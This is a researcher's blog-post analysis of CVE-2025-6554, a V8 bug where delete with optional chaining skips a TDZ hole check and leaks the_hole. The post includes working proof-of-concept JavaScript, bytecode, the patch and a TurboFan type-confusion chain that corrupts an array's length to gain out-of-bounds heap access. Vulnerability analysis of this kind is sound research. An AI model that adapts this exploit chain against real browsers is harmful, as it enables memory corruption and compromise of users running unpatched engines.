2025-10-07
In June 2025, Google’s TAG (Clement Lecigne, @_clem1) discovered an in-the-wild
exploit that took advantage of a very famous primitive in V8 and
attracted a lot of attention, another the_hole
leak with a
new exploitation technique. The bug itself is very interesting and
touches on various areas and concepts within V8. This post will just be
an analysis of this bug, but all credit goes to @mistymntncop and their writeup, who
performed the analysis and wrote the PoCs that I am using here as the
main reference.
the_hole
Exploitation TechniquesThe the_hole
object has been a recurring exploitation
primitive in V8, with attackers discovering multiple ways to leak it
into JavaScript and leverage it for memory corruption. Before
CVE-2025-6554, there were at least two notable in-the-wild exploits
using the_hole
:
This
technique exploited an omission in V8’s escape analysis
implementation. The vulnerability stemmed from the non-standard
getThis
API not being properly tracked during node escape
analysis, allowing the_hole
to leak into JavaScript.
Once leaked, we can manipulated Map objects by exploiting
the_hole
’s memory layout:
function getmap(m) {
= new Map();
m .set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
mreturn m;
@mistymntncop’s
CVE-2023-2033 exploit discovered a weakness in Turbofan’s Typer
where the_hole
was accidentally treated like other Oddball
objects, allowing operations like ToNumber
that could
result in NaN. This accidental behavior enabled type confusion in the
JIT compiler:
function weak_fake_obj(b, addr=1.1) {
if(b) {
let index = Number(b ? the.hole : -1);
|= 0;
index += 1;
index ...
CVE-2025-6554 represents a different attack vector. Unlike the previous exploits that targeted escape analysis or Typer behavior, this vulnerability exploits a scope lifetime management bug in Ignition’s bytecode generator, specifically around TDZ hole check elision optimization. The post-leak exploitation technique is also novel, using TypeGuard elimination in TurboFan’s LoadElimination phase to bypass type checks and create an array with an invalid length.
The vulnerability originated from a scope lifetime management bug in V8’s Ignition bytecode generator, specifically in how it tracked TDZ hole check elision optimizations across optional chaining control flow boundaries.
JavaScript’s let
and const
declarations
create a Temporal Dead Zone where variables exist in scope but cannot be
accessed before their declaration:
console.log(x); // ReferenceError: Cannot access 'x' before initialization
let x = 5;
V8 internally marks uninitialized variables with a special sentinel
value called the_hole
. Before each access to a TDZ
variable, V8 emits a ThrowReferenceErrorIfHole
bytecode
instruction. In June 2023, V8 enabled an optimization to eliminate
redundant TDZ checks within the same basic block using a bitmap tracking
mechanism (BytecodeGenerator::hole_check_bitmap_
).
The bug occurred when optional chaining’s short-circuit
behavior interacted with TDZ hole check elision. The
HoleCheckElisionScope
class managed bitmap state using RAII
(Resource Acquisition Is Initialization), saving bitmap state on
construction and restoring it on destruction.
But the scope was in the wrong place:
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
;
BytecodeLabel done(this);
OptionalChainNullLabelScope label_scope(this); // <- the patch removed this
HoleCheckElisionScope elider();
expression_func()->Jump(&done);
builder.labels()->Bind(builder());
label_scope()->LoadUndefined();
builder()->Bind(&done);
builder}
When optional chaining evaluates to null
or
undefined
, it short-circuits via
JumpIfUndefinedOrNull
. The right-hand side never executes
at runtime. But during bytecode generation, the generator still walks
through the entire AST, including code that will never run. If that dead
code accesses a TDZ variable, the bitmap gets marked as “checked”, even
though the check never actually happens at runtime.
Minimal trigger:
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
The delete
operator is necessary for this bug, but not
to generate the_hole
(as I thought when I first saw this
PoC). First, let’s look at the different code paths that optional
chaining can take depending on the context:
Path 1: Regular optional chain
(x?.[y]?.a
)
BuildOptionalChain
HoleCheckElisionScope
as a local
variablePath 2: Delete with optional chain
(delete x?.[y]?.a
)
VisitDelete
-> creates OptionalChainNullLabelScope
HoleCheckElisionScope
at
allHere’s the asymmetry in the unpatched code:
// Path 1: BuildOptionalChain
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
;
BytecodeLabel done(this);
OptionalChainNullLabelScope label_scope(this); // <- Has scope as local variable
HoleCheckElisionScope elider();
expression_func()->Jump(&done);
builder.labels()->Bind(builder());
label_scope()->LoadUndefined();
builder()->Bind(&done);
builder}
// Path 2: VisitDelete
void BytecodeGenerator::VisitDelete(UnaryOperation* unary) {
// ...
} else if (expr->IsOptionalChain()) {
* expr_inner = expr->AsOptionalChain()->expression();
Expressionif (expr_inner->IsProperty()) {
* property = expr_inner->AsProperty();
Property;
BytecodeLabel done(this); // <- no HoleCheckElisionScope
OptionalChainNullLabelScope label_scope(property->obj());
VisitForAccumulatorValue// ...
We can verify this with bytecode comparison. Without
delete
(x?.[y]?.a
):
26 Ldar r1 ; Load y for return
28 ThrowReferenceErrorIfHole [0] ; check is present
30 Return ; Return y
With delete
(delete x?.[y]?.a
):
26 Ldar r1 ; Load y for return
28 Return ; check is missing and the_hole leaks!
The fix embeds HoleCheckElisionScope
as a
member of OptionalChainNullLabelScope
,
making both paths work correctly:
class OptionalChainNullLabelScope {
public:
explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
: bytecode_generator_(bytecode_generator),
labels_(bytecode_generator->zone()),
hole_check_scope_(bytecode_generator) { // <- now a member
...
}
private:
hole_check_scope_; // <- tied to scope lifetime
HoleCheckElisionScope };
Now any code creating
OptionalChainNullLabelScope
(both
BuildOptionalChain
and VisitDelete
)
automatically gets the proper bitmap isolation.
Continuing to understand how V8 processes and reach the bug conditions, here’s the AST for the vulnerable expression:
// ./out/x64.debug/d8 --allow-natives-syntax --print-ast /tmp/poc.js
[generating bytecode for function: leak_hole]
...
EXPRESSION STATEMENT
└── kDelete
└── OPTIONAL_CHAIN
└── PROPERTY (x?.[y]?.a) <- Outer property
├── PROPERTY (x?.[y]) <- Inner property (this is property->obj())
│ ├── VAR PROXY "x" <- Object
│ └── KEY
│ └── VAR PROXY "y" <- Key (TDZ variable!)
└── NAME "a" <- Outer property name
When VisitDelete
processes this:
x?.[y]?.a
VisitForAccumulatorValue(property->obj())
where obj = x?.[y]
x?.[y]
, V8 must load y
(the
TDZ variable)HoleCheckElisionScope
wraps step
2!We can also take a look at the bytecode, here is the bytecode that V8
generates for leak_hole()
:
// ./out/x64.debug/d8 --allow-natives-syntax --print-bytecode /tmp/poc.js
0 LdaTheHole ; Load the_hole -> accumulator
1 Star1 ; y = the_hole
2 LdaUndefined ; Load undefined -> accumulator
3 Star0 ; x = undefined
4 Mov r0, r2 ; Copy x to r2
7 JumpIfUndefinedOrNull [18] (->25) ; If x is null/undefined, jump to 25
; (short-circuit happens here)
9 Ldar r1 ; Load y -> accumulator
11 ThrowReferenceErrorIfHole [0] ; Check if y is the_hole (skipped)
13 GetKeyedProperty r2, [0] ; x[y]
16 JumpIfUndefinedOrNull [9] (->25) ; If x[y] is null/undefined, jump
18 Star2 ; Store result
19 LdaConstant [1] ; Load 'a'
21 DeletePropertySloppy r2 ; Delete property
23 Jump [3] (->26)
25 LdaTrue ; Load true (from short-circuit)
26 Ldar r1 ; Load y for return
28 Return ; Return y (no hole check!)
Key observations:
ThrowReferenceErrorIfHole
is present but never executesThrowReferenceErrorIfHole
in unpatched versiony
was already
checked, skips the second checkIn the patched version, a ThrowReferenceErrorIfHole
instruction is added after offset 26:
26 Ldar r1 ; Load y for return
28 ThrowReferenceErrorIfHole [0] ; check added by patch
30 Return ; Return y
Now that we’ve seen the bytecode, let’s trace the complete corruption sequence:
Compile-time (during bytecode generation):
1. VisitDelete processes: delete x?.[y]?.a
2. Creates OptionalChainNullLabelScope
3. Calls VisitForAccumulatorValue(property->obj()) where obj = x?.[y]
- To evaluate x?.[y], needs to load y as the key (bytecode offset 9)
- Loading y triggers BuildThrowIfHole
- Emits ThrowReferenceErrorIfHole at offset 11, marks bitmap
- But NO HoleCheckElisionScope wraps this evaluation
4. Bitmap modification leaks outside the optional chain scope
5. Later, generating return statement bytecode (offset 26-28)
6. Sees bitmap bit set, assumes 'y' was already checked
7. Skips emitting ThrowReferenceErrorIfHole for the return (offset 28 missing)
Runtime:
1. Execute bytecode offset 0-4: Initialize x=undefined, y=the_hole
2. Offset 7: JumpIfUndefinedOrNull -> short-circuit to offset 25
3. Offset 11: ThrowReferenceErrorIfHole never executes (jumped over)
4. Offset 25-26: Load y (still contains the_hole)
5. Offset 28: Missing ThrowReferenceErrorIfHole in unpatched version
6. the_hole leaks into JavaScript
$ cat /tmp/poc.js
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
print(leak_hole());
$ ./out/x64.debug/d8 /tmp/poc.js
#
# Fatal error in ../../src/api/api.cc, line 807
# Debug check failed: !IsTheHole(heap_object).
#
#
#
#FailureMessage Object: 0x7ffc705cee28
==== C stack trace ===============================
...
The leaked the_hole
object enables a sophisticated and
very interesting type confusion attack in TurboFan’s compiler. This
technique was documented by @mistymntncop,
based on the in-the-wild exploit,
so all the credits for this guys :D.
the_hole.length
The the_hole
object has an unusual property: at offset
+8 (where strings store their length), it contains the value
0xfff7ffff
(-524289). This creates a type confusion
opportunity:
$ cat /tmp/a.js
%DebugPrint("some string");
%DebugPrint(%TheHole());
%SystemBreak();
$ gdb-pwndbg --args ./out/x64.release/d8 --allow-natives-syntax /tmp/a.js
DebugPrint: 0x11000005d421: [String] in OldSpace: #some string
0x110000000155: [Map] in ReadOnlySpace
- map: 0x110000000475 <MetaMap (0x11000000002d <null>)>
- type: INTERNALIZED_ONE_BYTE_STRING_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- non-extensible
- back pointer: 0x110000000011 <undefined>
- prototype_validity_cell: 0
- instance descriptors (own) #0: 0x1100000007f1 <DescriptorArray[0]>
- prototype: 0x11000000002d <null>
- constructor: 0x11000000002d <null>
- dependent code: 0x1100000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x1100000007d9: [Hole] in ReadOnlySpace
<the_hole_value>
0x110000000745: [Map] in ReadOnlySpace
- map: 0x110000000475 <MetaMap (0x11000000002d <null>)>
- type: HOLE_TYPE
- instance size: 12
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x110000000011 <undefined>
- prototype_validity_cell: 0
- instance descriptors (own) #0: 0x1100000007f1 <DescriptorArray[0]>
- prototype: 0x11000000002d <null>
- constructor: 0x11000000002d <null>
- dependent code: 0x1100000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555580d0c55 in v8::base::OS::DebugBreak() ()
...
pwndbg> x/10wx 0x11000005d421-1 # string object
0x11000005d420: 0x00000155 0x4f97c2ba 0x0000000b 0x656d6f73
^ map ^ hash ^ len
0x11000005d430: 0x72747320 0x00676e69 0x00000155 0x272231aa
0x11000005d440: 0x00000007 0x48656854
pwndbg> x/10wx 0x1100000007d9-1
0x1100000007d8: 0x00000745 0xfff7ffff 0xfff7ffff 0x00000795
^ map ^ ?? ^ ??
0x1100000007e8: 0x000007bd 0x000007bd 0x0000071d 0x00000000
0x1100000007f8: 0x00000000 0x00000000
function hax(trigger) {
// Leak the_hole using the TDZ bug
let x;
delete x?.[y]?.a;
let hole = y;
let y;
// Create a property that can be either the_hole or a string
let o = {};
.maybe_hole = trigger ? hole : "not the hole";
o
// Access the length property
let len = o.maybe_hole.length;
// inferred: (0, 535870888)
// actual: (-524289, 535870888) when trigger=true
}
During TurboFan’s optimization, the training phase
(trigger=false
) allows TurboFan to observe that
o.maybe_hole
is always a string, leading to optimization
that generates optimized code assuming .length
is always
positive.
How we can preventing deoptimization when the_hole
is
passed? For o.maybe_hole.length
, the compiler initially
generates:
LoadField
node: Loads
o.maybe_hole
CheckString
node: Verifies the loaded
value is a string, deoptimizes if notStringLength
node: Reads the length
field at offset +8We need CheckString
to be removed. This will happen
through optimization phases:
LoadEliminationPhase - runs multiple reducers in a single GraphReducer pass:
LoadElimination::ReduceLoadField
):
o.maybe_hole
was previously stored
(StoreField), so the value can be reused from cache(Hole | HeapConstant("not the hole"))
NonInternal
(Hole | HeapConstant("not the hole")).Is(NonInternal)
?
Hole.Is(NonInternal)
= false (Hole is standalone, not
in hierarchy)Type::Intersect(NonInternal, (Hole | HeapConstant(...)))
ReplaceWithValue()
TypedOptimization::ReduceCheckString
):
CheckString(TypeGuard(...))
where TypeGuard
has String typeif (input_type.Is(Type::String()))
-
truePhi -> TypeGuard -> StringLength
Turboshaft BuildGraph phase (turboshaft::GraphBuilder::Process
):
TypeGuard
nodes: return Map(node->InputAt(0))
Map()
looks up the already-converted Turboshaft
operation for the input (the Phi)TypeGuardOp
in TurboshaftPhi -> TypeGuard -> StringLength
becomes just
Phi -> StringLength
in TurboshaftResult: StringLength
reads directly from the Phi which
can contain the_hole
at runtime, returning -524289 without
any type check.
Why is TypeGuard elimination normally safe?
The TypeGuard’s type is the intersection of what the compiler expects and what was observed during profiling. When TypeGuard is eliminated, this type information remains attached to the SSA value. Subsequent optimizations trust this type.
If you tried to pass a regular object (not String):
o.value = {custom: "object"}
->
cached type is ObjectType::Intersect(String, Object) = None
(empty type - no
overlap)Why does the_hole
bypass this safety
mechanism?
The vulnerability occurs because of how LoadElimination decides
whether to create a TypeGuard. The critical code is at load-elimination.cc:1023-1024
:
// Introduce a TypeGuard if the type of the {replacement} node is not
// a subtype of the original {node}'s type.
if (!NodeProperties::GetType(replacement)
.Is(NodeProperties::GetType(node))) {
replacement_type = Type::Intersect(
Type ::GetType(node),
NodeProperties::GetType(replacement), graph()->zone());
NodeProperties= effect =
replacement ()->NewNode(common()->TypeGuard(replacement_type),
graph, effect, control);
replacement::SetType(replacement, replacement_type);
NodeProperties}
LoadElimination finds that o.maybe_hole
was stored
(StoreField) and can be reused when loading (LoadField). It checks:
replacement
= Phi node with type
(Hole | HeapConstant("not the hole"))
node
= LoadField with type
NonInternal
(Hole | HeapConstant("not the hole")).Is(NonInternal)
?V8’s type hierarchy from turbofan-types.h
:
// Type bitset definitions
(Hole, uint64_t{1} << 33) // bit 33 - STANDALONE
V(Array, uint64_t{1} << 25) // bit 25
V(OtherString, uint64_t{1} << 5) // bit 5
V(InternalizedString, uint64_t{1} << 14) // bit 14
V(String, kInternalizedString | kOtherString) // bits 5|14
V
// Type hierarchy
(DetectableObject, kArray | kFunction | ...)
V(Object, kDetectableObject | kOtherUndetectable)
V(Receiver, kObject | kProxy | kWasmObject)
V(Primitive, kBigInt | kNonBigIntPrimitive)
V(NonInternal, kPrimitive | kReceiver) // The target type V
Type hierarchy relationships:
For a union to be a subtype, ALL members must be subtypes:
(Hole | String).Is(NonInternal)
requires both:
Hole.Is(NonInternal)
= false (Hole is
standalone)String.Is(NonInternal)
= true(Array | String).Is(NonInternal)
requires both:
Array.Is(NonInternal)
= trueString.Is(NonInternal)
= trueThe exploitation flow:
(Hole | String).Is(NonInternal)
=
falseType::Intersect(NonInternal, (Hole | String))
the_hole
flows through uncheckedthe_hole
=
-524289Why can’t you use Array instead of Hole?
If you try o.value = trigger ? [1,2,3] : "string"
:
(Array | String)
(Array | String).Is(NonInternal)
= true!true
= falsetrigger=true
, CheckString deoptimizes:
“not a String”We can see this assumptions at runtime with this test:
function test_hole(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;
let o = {};
.val = trigger ? hole : "string";
oreturn o.val.length;
}
function test_array(trigger) {
let o = {};
.val = trigger ? [1, 2, 3] : "string";
oreturn o.val.length;
}
%PrepareFunctionForOptimization(test_hole);
%PrepareFunctionForOptimization(test_array);
for (let i = 0; i < 10; i++) {
test_hole(false);
test_array(false);
}%OptimizeFunctionOnNextCall(test_hole);
%OptimizeFunctionOnNextCall(test_array);
print(test_hole(true)); // prints -524289, no deoptimization
print(test_array(true)); // prints 3, but deoptimizes
Running with
d8 --allow-natives-syntax --trace-deopt
:
test_hole(true)
: No deopt output - TypeGuard was
created then eliminatedtest_array(true)
:
[bailout (reason: not a String)]
- CheckString
remainedBoth (bit 33) & (bits 5|14) = 0
and
(bit 25) & (bits 5|14) = 0
, but only
the_hole
bypasses checks because it’s outside the
type hierarchy that LoadElimination checks with
.Is(NonInternal)
.
Math.sign()
We use Math.sign()
to create divergent behavior between
inferred and actual ranges:
let len = o.maybe_hole.length; // infer: (0, 535870888), actual: (-524289, 535870888)
let sign = Math.sign(len); // infer: (0, 1), actual: (-1, 1)
During training, len
is always positive, so
Math.sign(len)
is always 1. TurboFan’s Typer
phase infers sign ∈ (0, 1)
. But when
the_hole
is passed, sign = -1
, which is
outside the inferred range!
TurboFan Pipeline with Type Confusion:
Step 1: Type Feedback (Ignition)
+-----------------------------------------------+
| o.maybe_hole = "string" |
| -> o.maybe_hole is String |
| -> length in [0, 535870888] |
| -> Math.sign(length) = 1 |
+------------------+----------------------------+
|
v
Step 2: Optimization (TurboFan Typer)
+-----------------------------------------------+
| Node: LoadField(o, "maybe_hole") -> String |
| Node: StringLength -> Range(0+) |
| Node: Math.sign(length) -> Range(1) |
+------------------+----------------------------+
|
v
Step 3: Exploitation
+-----------------------------------------------+
| o.maybe_hole = the_hole |
| -> the_hole.length = -524289 |
| -> Math.sign(-524289) = -1 |
+-----------------------------------------------+
We chain arithmetic operations to amplify the confusion:
let i1 = 2 - (sign + 1); // infer: (0, 1), actual: (0, 2)
let i2 = (5 - (i1 + 4)) >> 1; // infer: (0, 0), actual: (-1, 0)
let i3 = 1 * i2 + 1; // infer: (1, 1), actual: (0, 1)
let i4 = i3 * 100; // infer: (100, 100), actual: (0, 100)
Training execution (when sign = 1
):
i1 = 2 - (1 + 1) = 0
i2 = 5 - (0 + 4) >> 1 = 0
i3 = 1 * 0 + 1 = 1
i4 = 1 * 100 = 100
Exploitation execution (when
sign = -1
):
i1 = 2 - (-1 + 1) = 2
i2 = 5 - (2 + 4) >> 1 = -1
i3 = 1 * -1 + 1 = 0
i4 = 0 * 100 = 0
The key: TurboFan infers i4 = 100
(constant), but at
runtime i4 = 0
.
Now we use i4
to corrupt an array:
let arr = new Array(8); // Capacity: 8 elements
0] = 13.37; // Convert to HOLEY_DOUBLE_ELEMENTS
arr[= 13.37; // TurboFan thinks i4=100, actually i4=0
arr[i4] return arr;
During TurboFan’s Inlining phase, it generates:
MaybeGrowFastElements
: Checks if
i4 < capacity(8)
arr.length = i4 + 1
Since TurboFan believes i4 = 100
(constant), the ConstantFoldingReducer
optimizes the length update to:
.length = 101 // Hardcoded constant! arr
During Turboshaft’s MachineLowering phase, the generated code becomes:
if (i4 < 8) {
// Don't grow the array
} else {
// Grow the array to fit i4
}
// always update length to 101
arr.length = 101;
At runtime with i4 = 0
:
0 < 8
-> true, skip growingResult: Corrupted array with length=101
but
capacity=8
$ ./out/x64.release/d8 --allow-natives-syntax exploit.js
DebugPrint: 0x29720009116d: [JSArray] # Normal (trigger=false)
- length: 101
- elements: 0x2972000911f5 <FixedDoubleArray[167]> # Capacity extended to 167
DebugPrint: 0x2972000918b9: [JSArray] # Corrupted (trigger=true)
- length: 101 # <- Claims 101 elements
- elements: 0x297200091871 <FixedDoubleArray[8]> # <- Only has 8!
The corrupted array now has out-of-bounds (OOB) access: reading
arr[8]
through arr[100]
accesses adjacent heap
memory, enabling arbitrary read/write primitives.
V8 Heap Corruption:
Before: After (Corrupted):
+---------------------+ +---------------------+
| JSArray | | JSArray |
+---------------------+ +---------------------+
| Map ptr | | Map ptr |
| Properties | | Properties |
| Elements ptr ----+---+ | Elements ptr ----+---+
| Length: 101 | | | Length: 101 | |
+---------------------+ | +---------------------+ |
| |
v v
+---------------------------------+ +---------------------------------+
| FixedDoubleArray[167] | | FixedDoubleArray[8] |
+---------------------------------+ +---------------------------------+
| [0]: 13.37 | | [0]: 13.37 |
| [1-99]: the_hole_NaN | | [1-7]: the_hole_NaN |
| [100]: 13.37 | +---------------------------------+
| [101-166]: the_hole_NaN | |
+---------------------------------+ | arr[8-100] = OOB!
Normal: capacity grown to 167 v
+---------------------------------+
| Adjacent Object (victim) |
+---------------------------------+
| Map ptr: 0x...01 |
| Properties: 0x...02 |
| .a = marker value |
| .b = marker value |
+---------------------------------+
|
| Read/write via
| corrupted[8-100]
v
+---------------------------------+
| Map ptr: 0xXXXX41414141 |
| Properties: [corrupted] |
| Arbitrary R/W primitive |
+---------------------------------+
If you’ve got questions, hit me up on Twitter.